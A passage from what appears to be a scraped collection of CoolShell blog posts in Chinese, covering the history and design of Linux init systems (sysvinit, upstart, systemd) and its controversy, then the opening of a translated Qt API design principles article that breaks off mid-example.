中，负责硬盘挂载，有时候还有网络硬盘（NFS 或 iSCSI）在其中，但是在桌面机上，有很可能开机的时候是没有网络的， 于是网络硬盘都不可以访问，也无法挂载，这会极大的影响启动速度。<code>sysvinit</code> 采用 <code>netdev</code> 的方式来解决这个问题，也就是说，需要用户自己在 <code>/etc/fstab</code> 中给相应的硬盘配置上 <code>netdev</code> 属性，于是 <code>sysvint</code> 启动时不会挂载它，只有在网络可用后，由专门的 <code>netfs</code> 服务进程来挂载。这种管理方式比较难以管理，也很容易让人掉坑。</p>\n<p>所以，Ubuntu 开发人员在评估了当时几个可选的 init 系统后，决定重新设计这个系统，于是，这就是我们后面看到的 <code>upstart</code> 。 <code>upstart</code> 基于事件驱动的机制，把之前的完全串行的同步启动服务的方式改成了由事件驱动的异步的方式。比如：如果有U盘插入，<code>udev</code> 得到通知，<code>upstart</code> 感知到这个事件后触发相应的服务程序，比如挂载文件系统等等。因为使用一个事件驱动的玩法，所以，启动操作系统时，很多不必要的服务可以不用启动，而是等待通知，lazy 启动。而且事件驱动的好处是，可以并行启动服务，他们之间的依赖关系，由相应的事件通知完成。</p>\n<p>upstart 有着很不错的设计，其中最重要的两个概念是 Job 和 Event。</p>\n<p><strong>Job</strong> 有一般的Job，也有service的Job，并且，<code>upstart</code> 管理了整个 Job 的生命周期，比如：Waiting, Starting, pre-Start, Spawned, post-Start, Running, pre-Stop, Stopping, Killed, post-Stop等等，并维护着这个生命周期的状态机。</p>\n<p><strong>Event</strong> 分成三类，<code>signal</code>, <code>method</code> 和 <code>hooks</code>。<code>signal</code> 就是异步消息，<code>method</code> 是同步阻塞的。<code>hooks</code> 也是同步的，但介于前面两者之间，发出hook事件的进程必须等到事件完成，但不检查是否成功。</p>\n<p>但是，<code>upstart</code> 的事件非常复杂，也非常纷乱，各种各样的事件（事件没有归好类）导致有点凌乱。不过因为整个事件驱动的设计比之前的 <code>sysvinit</code> 来说好太多，所以，也深得欢迎。</p>\n<h4>Systemd</h4>\n<p>直到2010的有一天，一个在 RedHat工作的工程师 <a href=\"https://en.wikipedia.org/wiki/Lennart_Poettering\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Lennart Poettering\">Lennart Poettering</a> 和 <a href=\"https://en.wikipedia.org/wiki/Kay_Sievers\" title=\"Kay Sievers\">Kay Sievers</a> ，开始引入了一个新的 <code>init</code> 系统—— <code>systemd</code>。这是一个非常非常有野心的项目，这个项目几乎改变了所有的东西，<code>systemd</code> 不但想取代已有的 init 系统，而且还想干更多的东西。</p>\n<p>Lennart 同意 <code>upstart</code> 干的不错，代码质量很好，基于事件的设计也很好。但是他觉得 <code>upstart</code> 也有问题，其中最大的问题还是不够快，虽然 <code>upstart</code> 用事件可以达到一定的启动并行度，但是，本质上来说，这些事件还是会让启动过程串行在一起。  如：<code>NetworkManager</code> 在等 <code>D-Bus</code> 的启动事件，而 <code>D-Bus</code> 在等 <code>syslog</code> 的启动事件。</p>\n<p>Lennart 认为，实现上来说，<code>upstart</code> 其实是在管理一个逻辑上的服务依赖树，但是这个服务依赖树在表现形式上比较简单，你只需要配置——“启动 B好了就启动A”或是“停止了A后就停止B”这样的规则。但是，Lennart 说，这种简单其实是有害的（this simplification is actually detrimental）。他认为，</p>\n<ul>\n<li>从一个系统管理的角度出来，他一开始会设定好整个系统启动的服务依赖树，但是这个系统管理员要人肉的把这个本来就非常干净的服务依整树给翻译成计算机看的懂的 Event/Action 形式，而且 Event/Action 这种配置方式是运行时的，所以，你需要运行起来才知道是什么样的。</li>\n</ul>\n<ul>\n<li>Event逻辑从头到脚到处都是，这个事件扩大了运维的复杂度，还不如之前的 <code>sysvint</code>。 也就是说，当用户配置了 “启动 <code>D-Bus</code> 后请启动 <code>NetworkManager</code>”， 这个 <code>upstart</code> 可以干，但是反过来，如果，用户启动 <code>NetworkManager</code>，我们应该先去启动他的前置依赖 <code>D-Bus</code>，然而你还要配置相应的反向 Event。本来，我只需要配置一条依赖的，结果现在我要配置很多很多情况下的Event。</li>\n</ul>\n<ul>\n<li>最后，<code>upstart</code> 里的 Event 的并不标准，很混乱，没有良好的定义。比如：既有，进程启动，运行，停止的事件，也有USB设备插入、可用、拔出的事件，还有文件系统设备being mounted、 mounted 和 umounted 的事件，还有AC电源线连接和断开的事件。你会发现，这进程启停的、USB的、文件系统的、电源线的事件，看上去长得很像， 但是没有被标准化抽像出来掉，因为绝大多数的事件都是三元组：start, condition, stop 。这种概念设计模型并没有在 <code>upstart</code> 中出现。因为 <code>upstart</code> 被设计为单一的事件，而忽略了逻辑依赖。</li>\n</ul>\n<p>当然，如果 <code>systemd</code> 只是解决 <code>upstart</code> 的问题，他就改造 <code>upstart</code> 就好了，但是 Lennart 的野心不只是想干个这样的事，他想干的更多。</p>\n<p>首先，<code>systemd</code> 清醒的认识到了 init 进程的首要目标是要让用户快速的进入可以操作OS的环境，所以，这个速度一定要快，越快越好，所以，<code>systemd</code> 的设计理念就是两条：</p>\n<ul>\n<li>To start <b>less</b>.</li>\n<li>And to start <b>more</b> in <i>parallel</i>.</li>\n</ul>\n<p>也就是说，按需启动，能不启动就不启动，如果要启动，能并行启动就并行启动，包括你们之间有依赖，我也并行启动。按需启动还好理解，那么，有依赖关系的并行启动，它是怎么做到的？这里，<code>systemd</code> 借鉴了 MacOS 的 <code>Launchd</code> 的玩法（在Youtube上有一个分享——<a href=\"https://www.youtube.com/watch?v=SjrtySM9Dns\" rel=\"noopener noreferrer\" target=\"_blank\">Launchd: One Program to Rule them All</a>，在苹果的开源网站上也有相关的设计文档——<a href=\"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html\" rel=\"noopener noreferrer\" target=\"_blank\">About Daemons and Services</a>）</p>\n<p>要解决这些依赖性，systemd 需要解决好三种底层依赖—— Socket， D-Bus ，文件系统。</p>\n<ul>\n<li><strong>Socket依赖</strong>。如果服务C依赖于服务S的socket，那么就要先启动S，然后再启动C，因为如果C启动时找不到S的Socket，那么C就会失败。<code>systemd</code> 可以帮你在S还没有启动好的时候，建立一个socket，用来接收所有的C的请求和数据，并缓存之，一旦S全部启动完成，把systemd替换好的这个缓存的数据和Socket描述符替换过去。</li>\n</ul>\n<p> </p>\n<ul>\n<li><strong>D-Bus依赖</strong>。<code>D-Bus</code> 全称 Desktop Bus，是一个用来在进程间通信的服务。除了用于用户态进程和内核态进程通信，也用于用户态的进程之前。现在，很多的现在的服务进程都用 <code>D-Bus</code> 而不是Socket来通信。比如：<code>NetworkManager</code> 就是通过 <code>D-Bus</code> 和其它服务进程通讯的，也就是说，如果一个进程需要知道网络的状态，那么就必需要通过 <code>D-Bus</code> 通信。<code>D-Bus</code> 支持 “Bus Activation”的特性。也就是说，A要通过 <code>D-Bus</code> 服务和B通讯，但是B没有启动，那么 <code>D-Bus</code> 可以把B起来，在B启动的过程中，<code>D-Bus</code> 帮你缓存数据。<code>systemd</code> 可以帮你利用好这个特性来并行启动 A 和 B。</li>\n</ul>\n<p> </p>\n<ul>\n<li><strong>文件系统依赖</strong>。系统启动过程中，文件系统相关的活动是最耗时的，比如挂载文件系统，对文件系统进行磁盘检查（fsck），磁盘配额检查等都是非常耗时的操作。在等待这些工作完成的同时，系统处于空闲状态。那些想使用文件系统的服务似乎必须等待文件系统初始化完成才可以启动。<code>systemd</code> 参考了 <code>autofs</code> 的设计思路，使得依赖文件系统的服务和文件系统本身初始化两者可以并发工作。<code>autofs</code> 可以监测到某个文件系统挂载点真正被访问到的时候才触发挂载操作，这是通过内核 <code>automounter</code> 模块的支持而实现的。比如一个 <code>open()</code> 系统调用作用在某个文件系统上的时候，而这个文件系统尚未执行挂载，此时 <code>open()</code> 调用被内核挂起等待，等到挂载完成后，控制权返回给 <code>open()</code> 系统调用，并正常打开文件。这个过程和 <code>autofs</code> 是相似的。</li>\n</ul>\n<p> </p>\n<p>下图来自 Lennart 的演讲里的一页PPT，展示了不同 init 系统的启动。</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"308\" src=\"../wp-content/uploads/2017/07/boot.png\" width=\"467\"/></p>\n<p>除此之外，systemd 还在启动时管理好了一些下面的事。</p>\n<p>用C语言取代传统的脚本式的启动。前面说过，<code>sysvint</code> 用 <code>/etc/rcX.d</code> 下的各种脚本启动。然而这些脚本中需要使用 <code>awk</code>, <code>sed</code>, <code>grep</code>, <code>find</code>, <code>xargs</code> 等等这些操作系统的命令，这些命令需要生成进程，生成进程的开销很大，关键是生成完这些进程后，这个进程就干了点屁大的事就退了。换句话说就是，我操作系统干了那么多事为你拉个进程起来，结果你就把个字串转成小写就退了，把我操作系统当什么了？</p>\n<p>在正常的一个 <code>sysvinit</code> 的脚本里，可能会有成百上千个这样的命令。所以，慢死。因此，<code>systemd</code> 全面用 C 语言全部取代了。一般来说，<code>sysvinit</code> 下，操作系统启动完成后，用 <code>echo $$</code> 可以看到，pid 被分配到了上千的样子，而 <code>systemd</code> 的系统只是上百。</p>\n<p>另外，systemd 是真正一个可以管住服务进程的——可以跟踪上服务进程所fork/exec出来的所有进程。</p>\n<ul>\n<li>我们知道， 传统 Unix/Linux 的 Daemon 服务进程的最佳实践基本上是这个样子的 （具体过程可参看这篇文章“<a href=\"http://0pointer.de/public/systemd-man/daemon.html#SysV%20Daemons\" rel=\"noopener noreferrer\" target=\"_blank\">SysV Daemon</a>”）——\n<ol>\n<li>进程启动时，关闭所有的打开的文件描述符（除了标准描述符0,1,2），然后重置所有的信号处理。</li>\n<li>调用 <code>fork()</code> 创建子进程，在子进程中 <code>setsid()</code>，然后父进程退出（为了后台执行）</li>\n<li>在子进程中，再调用一次 <code>fork()</code>，创建孙子进程，确定没有交互终端。然后子进程退出。</li>\n<li>在孙子进程中，把标准输入标准输出标准错误都连到 <code>/dev/null</code> 上，还要创建 pid 文件，日志文件，处理相关信号 ……</li>\n<li>最后才是真正开始提供服务。</li>\n</ol>\n</li>\n</ul>\n<p> </p>\n<ul>\n<li>在上面的这个过程中，服务进程除了两次 <code>fork</code> 外还会 <code>fork</code> 出很多很多的子进程（比如说一些Web服务进程，会根据用户的请求链接来 <code>fork</code> 子进程），这个进程树是相当难以管理的，因为，一旦父进程退出来了，子进程就会被挂到 PID 1下，所以，基本上来说，你无法通过服务进程自已给定的一个pid文件来找到所有的相关进程（这个对开发者的要求太高了），所以，在传统的方式下用脚本启停服务是相当相当的 Buggy 的，因为无法做对所有的服务生出来的子子孙孙做到监控。</li>\n</ul>\n<p> </p>\n<ul>\n<li>为了解决这个问题，<code>upstart</code> 通过变态的 <code>strace</code> 来跟踪进程中的 <code>fork()</code> 和 <code>exec()</code> 或 <code>exit()</code> 等相关的系统调用。这种方法相当笨拙。 <code>systemd</code> 使用了一个非常有意思的玩法来 tracking 服务进程生出来的所有进程，那就是用 <code>cgroup</code> （我在 <a href=\"https://coolshell.cn/articles/17049.html\" rel=\"noopener noreferrer\" target=\"_blank\">Docker 的基础技术“cgroup篇”</a>中讲过这个东西）。cgroup主要是用来管理进程组资源配额的事，所以，无论服务如何启动新的子进程，所有的这些相关进程都会同属于一个 <code>cgroup</code>，所以，<code>systemd</code> 只需要简单的去遍历一下相应的 <code>cgroup</code> 的那个虚文件系统目录下的文件，就可以正确的找到所有的相关进程，并将他们一一停止。</li>\n</ul>\n<p> </p>\n<p>另外，<code>systemd</code> 简化了整个 daemon 开发的过程：</p>\n<ul>\n<li>不需要两次 <code>fork()</code>，只需要实现服务本身的主逻辑就可以了。</li>\n<li>不需要 <code>setsid()</code>，<code>systemd</code> 会帮你干</li>\n<li>不需要维护 <code>pid文件</code>，<code>systemd</code> 会帮处理。</li>\n<li>不需要管理日志文件或是使用<code>syslog</code>，或是处理<code>HUP</code>的日志reload信号。把日志打到 <code>stderr</code> 上，<code>systemd</code> 帮你管理。</li>\n<li>处理 <code>SIGTERM</code> 信号，这个信号就是正确退出当前服务，不要做其他的事。</li>\n<li>……</li>\n</ul>\n<p>除此之外，<code>systemd</code> 还能——</p>\n<ul>\n<li>自动检测启动的服务间有没有环形依赖。</li>\n<li>内建 autofs 自动挂载管理功能。</li>\n<li>日志服务。<code>systemd</code> 改造了传统的 syslog 的问题，采用二进制格式保存日志，日志索引更快。</li>\n<li>快照和恢复。对当前的系统运行的服务集合做快照，并可以恢复。</li>\n<li>……</li>\n</ul>\n<p>还有好多好多，他接管很多很多东西，于是就让很多人不爽了，因为他在干了很多本不属于 PID 1 的事。</p>\n<h4>Systemd 争论和八卦</h4>\n<p>于是 <code>systemd</code> 这个东西成了可能是有史以来口水战最多的一个开源软件了。<code>systemd</code> 饱受各种争议，最大的争议就是他破坏了 Unix 的设计哲学（相关的哲学可以读一下《<a href=\"https://book.douban.com/subject/1467587/\" rel=\"noopener noreferrer\" target=\"_blank\">Unix编程艺术</a>》），干了一个大而全而且相当复杂的东西。当然，Lennart 并不同意这样的说法，他后来又写一篇blog “<a href=\"http://0pointer.de/blog/projects/the-biggest-myths.html\" rel=\"noopener noreferrer\" target=\"_blank\">The Biggest Myths</a>”来解释 <code>systemd</code> 并不是这样的，大家可以前往一读。</p>\n<p>这个争议大到什么样子呢？2014 年，Debian Linux 因为想准备使用 <code>systemd</code> 来作为标准的 init 守护进程来替换 <code>sysvinit</code> 。而围绕这个事的争论达到了空前的热度，争论中充满着仇恨，<code>systemd</code> 的支持者和反对者都在互相辱骂，导致当时 Debian 阵营开始分裂。还有人给 Lennart 发了死亡威胁的邮件，用比特币雇凶买杀手，扬言要取他的性命，在Youbute上传了侮辱他的歌曲，在IRC和各种社交渠道上给他发下流和侮辱性的消息。这已经不是争议了，而是一种不折不扣的仇恨！</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"421\" src=\"../wp-content/uploads/2017/07/systemd_shewantsit.jpg\" width=\"1000\"/></p>\n<p>于是，Lennart 在 <a href=\"https://plus.google.com/+LennartPoetteringTheOneAndOnly/posts/J2TZrTvu7vd\" rel=\"noopener noreferrer\" target=\"_blank\">Google Plus 上发了贴子</a>，批评整个 Linux 开源社区和 Linus 本人。他大意说，</p>\n<blockquote><p>这个社区太病态了，全是 ass holes，你们不停用各种手段在各种地方用不同的语言和方式来侮辱和漫骂我。我还是一个年轻人，我从来没有经历过这样的场面，但是今天我已经对这种场面很熟悉了。我有时候说话可能不准确，但是我不会像他样那样说出那样的话，我也没有被这些事影响，因为我脸皮够厚，所以，为什么我可以在如何大的反对声面前让 <code>systemd</code> 成功，但是，你们 Linux 社区太可怕了。你们里面的有精神病的人太多了。另外，对于Linus Torvalds，你是这个社区的 Role Model，但可惜你是一个 Bad Role Model，你在社区里的刻薄和侮辱性的言行，基本从一定程度上鼓励了其它人跟你一样，当然，并不只是你一个人的问题，而是在你周围聚集了一群和你一样的这样干的人。送你一句话—— A fish rots from the head down ！一条鱼是从头往下腐烂的……</p></blockquote>\n<p>这篇契文很长，喜欢八卦的同学可以前往一读。感受一下 Lennart 当时的心态（我觉得能算上是非常平稳了）。</p>\n<p>Linus也在被一媒体问起 <code>systemd</code> 这个事来（参看“<a href=\"https://www.itwire.com/business-it-news/open-source/65402-torvalds-says-he-has-no-strong-opinions-on-systemd\" rel=\"noopener noreferrer\" target=\"_blank\">Torvalds says he has no strong opinions on systemd</a>”），Linus在采访里说，</p>\n<blockquote><p>我对 <code>systemd</code> 和 Lennart 的贴子没有什么强烈的想法。虽然，传统的 Unix 设计哲学—— “Do one thing and Do it well”，很不错，而且我们大多数人也实践了这么多年，但是这并不代表所有的真实世界。在历史上，也不只有<code>systemd</code> 这么干过。但是，我个人还是 old-fashioned 的人，至少我喜欢文本式的日志，而不是二进制的日志。但是 <code>systemd</code> 没有必要一定要有这样的品味。哦，我说细节了……</p></blockquote>\n<p>今天，<code>systemd</code> 占据了几乎所有的主流的 Linux 发行版的默认配置，包括：Arch Linux、CentOS、CoreOS、Debian、Fedora、Megeia、OpenSUSE、RHEL、SUSE企业版和 Ubuntu。而且，对于 CentOS, CoreOS, Fedora, RHEL, SUSE这些发行版来说，不能没有 <code>systemd</code>。（Ubuntu 还有一个不错的wiki – <a href=\"https://wiki.ubuntu.com/SystemdForUpstartUsers\" rel=\"noopener noreferrer\" target=\"_blank\">Systemd for Upstart Users</a> 阐述了如何在两者间切换）</p>\n<p> </p>\n<h4>其它</h4>\n<p>还记得在《<a href=\"https://coolshell.cn/articles/17416.html\" rel=\"noopener noreferrer\" target=\"_blank\">缓存更新的套路</a>》一文中，我说过，<strong>如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了</strong>。因为里面会有很多可以借鉴和相通的东西。那么，你是否从这篇文章里看到了一些有分布式架构相似的东西？</p>\n<p>比如：从 <code>sysvinit</code> 到 <code>upstart</code> 再到 <code>systemd</code>，像不像是服务治理？Linux系统下的这些服务进程，是不是很像分布式架构中的微服务？还有那个D-Bus，是不是很像SOA里的ESB？而 init 系统是不是很像一个控制系统？甚至像一个服务编排（Service Orchestration）系统？</p>\n<p>分布式系统中的服务之间也有很多依赖，所以，在启动一个架构的时候，如果我们可以做到像 systemd 那样并行启动的话，那么是不是就像是一个微服务的玩法了？</p>\n<p>嗯，你会发现，技术上的很多东西是相通的，也是互相有对方的影子，所以，其实技术并不多。关键是我们学在了表面还是看到了本质。</p>\n<p> </p>\n<h4>延伸阅读</h4>\n<ul>\n<li>Lennert 的博文：<a href=\"http://0pointer.de/blog/projects/systemd.html\" rel=\"noopener noreferrer\" target=\"_blank\">Rethinking PID 1</a></li>\n<li>Lennert 的演讲：<a href=\"https://www.youtube.com/watch?v=TyMLi8QF6sw\" rel=\"noopener noreferrer\" target=\"_blank\">systemd, beyond init</a> （ <a href=\"http://www.linux-kongress.org/2010/slides/systemd-poettering.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">PPT</a> ）</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Systemd\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia：Systemd</a></li>\n<li>LinuxVoice：<a href=\"https://www.linuxvoice.com/interview-lennart-poettering/\" rel=\"noopener noreferrer\" target=\"_blank\">Lennart Poettering 专访</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-7-25 API设计原则 – Qt官网的设计实践总结.html",
    "content": "<html><body><p><span style=\"color: #993300;\"><strong>（感谢好友 <a href=\"http://www.weibo.com/oldratlee\" rel=\"noopener noreferrer\" target=\"_blank\">@李鼎</a> 翻译此文）</strong></span></p>\n<p>原文链接：<a href=\"http://qt-project.org/wiki/API-Design-Principles\">API Design Principles</a> – <a href=\"http://wiki.qt.io/\">Qt Wiki</a><br/>\n基于<a href=\"http://blog.csdn.net/gaoyingju\">Gary的影响力</a>上 <em>Gary Gao</em> 的译文稿：<a href=\"http://blog.csdn.net/gaoyingju/article/details/8245108\">C++的API设计指导</a></p>\n<h2>译序</h2>\n<p><img alt=\"\" class=\"alignright size-medium\" height=\"278\" src=\"../wp-content/uploads/2017/07/api-design-300x278.jpg\" width=\"300\"/></p>\n<p>Qt的设计水准在业界很有口碑，一致、易于掌握和强大的API是Qt最著名的优点之一。此文既是Qt官网上的API设计指导准则，也是Qt在API设计上的实践总结。虽然Qt用的是C++，但其中设计原则和思考是具有普适性的（如果你对C++还不精通，可以忽略与C++强相关或是过于细节的部分，仍然可以学习或梳理关于API设计最有价值的内容）。整个篇幅中有很多示例，是关于API设计一篇难得的好文章。</p>\n<p>需要注意的是，这篇Wiki有一些内容并不完整，所以，可能会有一些阅读上的问题，我们对此做了一些相关的注释。</p>\n<p>PS：翻译中肯定会有不足和不对之处，欢迎评论&amp;交流；另译文源码在<a href=\"https://github.com/oldratlee/translations/tree/master/api-design-principles-from-qt\">GitHub的这个仓库</a>中，可以<a href=\"https://github.com/oldratlee/translations/issues\">提交Issue</a>/<a href=\"https://github.com/oldratlee/translations/fork\">Fork后提交代码</a>来建议/指正。</p>\n<h1>API设计原则</h1>\n<p>一致、易于掌握和强大的API是Qt最著名的优点之一。此文总结了我们在设计Qt风格API的过程中所积累的诀窍（know-how）。其中许多是通用准则；而其他的则更偏向于约定，遵循这些约定主要是为了与已有的API保持一致。</p>\n<p>虽然这些准则主要用于对外的API（public API），但在设计对内的API（private API）时也推荐遵循相同的技巧（techniques），作为开发者之间协作的礼仪（courtesy）。</p>\n<p><span id=\"more-18024\"></span></p>\n<p>如有兴趣也可以读一下 <em>Jasmin Blanchette</em> 的<a href=\"http://www4.in.tum.de/~blanchet/api-design.pdf\">Little Manual of API Design (PDF)</a> 或是本文的前身 <em>Matthias Ettrich</em> 的<a href=\"https://doc.qt.io/archives/qq/qq13-apis.html\">Designing Qt-Style C++ APIs</a>。</p>\n<h1>1. 好API的6个特质</h1>\n<p>API之于程序员就如同图形界面之于普通用户（end-user）。API中的『P』实际上指的是『程序员』（Programmer），而不是『程序』（Program），强调的是API是给程序员使用的这一事实。</p>\n<p>在第13期<a href=\"http://doc.qt.io/archives/qq/\">Qt季刊</a>，<em>Matthias</em> 的<a href=\"https://doc.qt.io/archives/qq/qq13-apis.html\">关于API设计的文章</a>中提出了观点：API应该极简（minimal）且完备（complete）、语义清晰简单（have clear and simple semantics）、符合直觉（be intuitive）、易于记忆（be easy to memorize）和引导API使用者写出可读代码（lead to readable code）。</p>\n<h2>1.1 极简</h2>\n<p>极简的API是指每个class的public成员尽可能少，public的class也尽可能少。这样的API更易理解、记忆、调试和变更。</p>\n<h2>1.2 完备</h2>\n<p>完备的API是指期望有的功能都包含了。这点会和保持API极简有些冲突。如果一个成员函数放在错误的类中，那么这个函数的潜在用户就会找不到，这也是违反完备性的。</p>\n<h2>1.3 语义清晰简单</h2>\n<p>就像其他的设计一样，我们应该遵守最少意外原则（the principle of least surprise）。好的API应该可以让常见的事完成的更简单，并有可以完成不常见的事的可能性，但是却不会关注于那些不常见的事。解决的是具体问题；当没有需求时不要过度通用化解决方案。（举个例子，在Qt 3中，<code>QMimeSourceFactory</code>不应命名成<code>QImageLoader</code>并有不一样的API。）</p>\n<h2>1.4 符合直觉</h2>\n<p>就像计算机里的其他事物一样，API应该符合直觉。对于什么是符合直觉的什么不符合，不同经验和背景的人会有不同的看法。API符合直觉的测试方法：经验不很丰富的用户不用阅读API文档就能搞懂API，而且程序员不用了解API就能看明白使用API的代码。</p>\n<h2>1.5 易于记忆</h2>\n<p>为使API易于记忆，API的命名约定应该具有一致性和精确性。使用易于识别的模式和概念，并且避免用缩写。</p>\n<h2>1.6 引导API使用者写出可读代码</h2>\n<p>代码只写一次，却要多次的阅读（还有调试和修改）。写出可读性好的代码有时候要花费更多的时间，但对于产品的整个生命周期来说是节省了时间的。</p>\n<p>最后，要记住的是，不同的用户会使用API的不同部分。尽管简单使用单个Qt类的实例应该符合直觉，但如果是要继承一个类，让用户事先看好文档是个合理的要求。</p>\n<h1>2. 静态多态</h1>\n<p>相似的类应该有相似的API。在继承（inheritance）合适时可以用继承达到这个效果，即运行时多态。然而多态也发生在设计阶段。例如，如果你用<code>QProgressBar</code>替换<code>QSlider</code>，或是用<code>QString</code>替换<code>QByteArray</code>，你会发现API的相似性使的替换很容易。这即是所谓的『静态多态』（static polymorphism）。</p>\n<p>静态多态也使记忆API和编程模式更加容易。因此，一组相关的类有相似的API有时候比每个类都有各自的一套API更好。</p>\n<p>一般来说，在Qt中，如果没有足够的理由要使用继承，我们更倾向于用静态多态。这样可以减少Qt public类的个数，也使刚学习Qt的用户在翻看文档时更有方向感。</p>\n<h2>2.1 好的案例</h2>\n<p><code>QDialogButtonBox</code>与<code>QMessageBox</code>，在处理按钮（<code>addButton()</code>、<code>setStandardButtons()</code>等等）上有相似的API，不需要继承某个<code>QAbstractButtonBox</code>类。</p>\n<h2>2.2 差的案例</h2>\n<p><code>QTcpSocket</code>与<code>QUdpSocket</code>都继承了<code>QAbstractSocket</code>，这两个类的交互行为的模式（mode of interaction）非常不同。似乎没有什么人以通用和有意义的方式用过<code>QAbstractSocket</code>指针（或者 <strong><em>能</em></strong> 以通用和有意义的方式使用<code>QAbstractSocket</code>指针）。</p>\n<h2>2.3 值得斟酌的案例</h2>\n<p><code>QBoxLayout</code>是<code>QHBoxLayout</code>与<code>QVBoxLayout</code>的父类。好处：可以在工具栏上使用<code>QBoxLayout</code>，调用<code>setOrientation()</code>使其变为水平/垂直。坏处：要多一个类，并且有可能导致用户写出这样没什么意义的代码，<code>((QBoxLayout *)hbox)-&gt;setOrientation(Qt::Vertical)</code>。</p>\n<h1>3. 基于属性的API</h1>\n<p>新的Qt类倾向于用『基于属性（property）的API』，例如：</p>\n<p>[code language=”cpp”]<br/>\nQTimer timer;<br/>\ntimer.setInterval(1000);<br/>\ntimer.setSingleShot(true);<br/>\ntimer.start();<br/>\n[/code]</p>\n<p>这里的 <strong><em>属性</em></strong> 是指任何的概念特征（conceptual attribute），是对象状态的一部分 —— 无论它是不是<code>Q_PROPERTY</code>。在说得通的情况下，用户应该可以以任何顺序设置属性，也就是说，属性之间应该是正交的（orthogonal）。例如，上面的代码可以写成：</p>\n<p>[code language=”cpp”]<br/>\nQTimer timer;<br/>\ntimer.setSingleShot(true);<br/>\ntimer.setInterval(1000);<br/>\ntimer.start();<br/>\n[/code]</p>\n<blockquote><p>【译注】：正交性是指改变某个特性而不会影响到其他的特性。<a href=\"https://book.douban.com/subject/5387402/\">《程序员修炼之道》</a>中讲了关于正交性的一个直升飞机坠毁的例子，讲得深入浅出很有画面感。</p></blockquote>\n<p>为了方便，也写成：</p>\n<p>[code language=”cpp”]<br/>\ntimer.start(1000)；<br/>\n[/code]</p>\n<p>类似地，对于<code>QRegExp</code>会是这样的代码：</p>\n<p>[code language=”cpp”]<br/>\nQRegExp regExp;<br/>\nregExp.setCaseSensitive(Qt::CaseInsensitive);<br/>\nregExp.setPattern(\".\");<br/>\nregExp.setPatternSyntax(Qt::WildcardSyntax);<br/>\n[/code]</p>\n<p>为实现这种类型的API，需要借助底层对象的懒创建。例如，对于<code>QRegExp</code>的例子，在不知道模式语法（pattern syntax）的情况下，在<code>setPattern()</code>中去解释<code>\".\"</code>就为时过早了。</p>\n<p>属性之间常常有关联的；在这种情况下，我们必须小心处理。思考下面的问题：当前的风格（style）提供了『默认的图标尺寸』属性 vs. <code>QToolButton</code>的『<code>iconSize</code>』属性：</p>\n<p>[code language=”cpp”]<br/>\ntoolButton-&gt;setStyle(otherStyle);<br/>\ntoolButton-&gt;iconSize();    // returns the default for otherStyle<br/>\ntoolButton-&gt;setIconSize(QSize(52, 52));<br/>\ntoolButton-&gt;iconSize();    // returns (52, 